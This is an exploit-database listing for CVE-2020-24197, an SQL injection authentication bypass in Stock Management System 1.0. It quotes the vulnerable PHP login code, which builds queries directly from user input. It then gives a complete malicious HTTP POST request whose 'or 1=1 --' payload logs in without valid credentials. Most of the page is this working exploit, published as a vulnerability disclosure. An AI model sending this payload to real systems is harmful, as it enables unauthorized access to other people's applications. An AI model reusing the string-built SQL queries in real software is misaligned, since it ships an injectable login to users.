Stock Management System 1.0 - Authentication Bypass

2020.09.05

🇺🇸 **hyd3sec (https://cxsecurity.com/author/hyd3sec/1/)** (US) 🇺🇸

Risk: **Medium**

Local: **No**

Remote: **Yes**

CVE: **CVE-2020-24197 (https://cxsecurity.com/cveshow/CVE-2020-24197/)**

CWE: **CWE-89 (https://cxsecurity.com/cwe/CWE-89)**

CVSS Base Score: **7.5/10**
Exploitability Subscore: **10/10**
Attack complexity: **Low**
Confidentiality impact: **Partial**
Availability impact: **Partial**

Impact Subscore: **6.4/10**
Exploit range: **Remote**
Authentication: **No required**
Integrity impact: **Partial**

```
# Exploit Title: Stock Management System 1.0 - Authentication Bypass
# Exploit Author: Adeeb Shah (@hyd3sec) & Bobby Cooke (boku)
# CVE ID: CVE-2020-24197
# Date: September 4, 2020
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14366/stock-management-system-php.html
# Version: 1.0
# Tested On: Windows 10 (x64_86) + XAMPP 7.4.4

# Vulnerable Source Code


if($_POST) {

        $username = $_POST['username'];
        $password = $_POST['password'];

        if(empty($username) || empty($password)) {
                if($username == "") {
                        $errors[] = "Username is required";
                }

                if($password == "") {
                        $errors[] = "Password is required";
                }
        } else {
                $sql = "SELECT * FROM users WHERE username = '$username'";
                $result = $connect->query($sql);

                if($result->num_rows == 1) {
                        $password = md5($password);
                        // exists
                        $mainSql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
                        $mainResult = $connect->query($mainSql);

                        if($mainResult->num_rows == 1) {
                                $value = $mainResult->fetch_assoc();
                                $user_id = $value['user_id'];

                                // set session
                                $_SESSION['userId'] = $user_id;

                                header('location: http://localhost/stock/dashboard.php');
                        } else{

                                $errors[] = "Incorrect username/password combination";
                        } // /else
                } else {
                        $errors[] = "Username doesnot exists";
                } // /else
        } // /else not empty username // password

} // /if $_POST
?>



# Malicious POST Request to https://TARGET/stock/index.php HTTP/1.1
POST /stock/index.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.222.132/stock/
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
DNT: 1
Connection: close
Cookie: PHPSESSID=j3j54s5keclr8ol2ou4f9b518s
Upgrade-Insecure-Requests: 1

email='+or+1%3d1+--+admin&password=badPass
```

See this note in RAW Version (https://cxsecurity.com/ascii/WLB-2020090028)

Vote for this issue: 👍 0 👎 0

50% 50%

Comment it here.

Nick (*)

Nick

Email (*)

Email

Video

Link to Youtube

Text (*)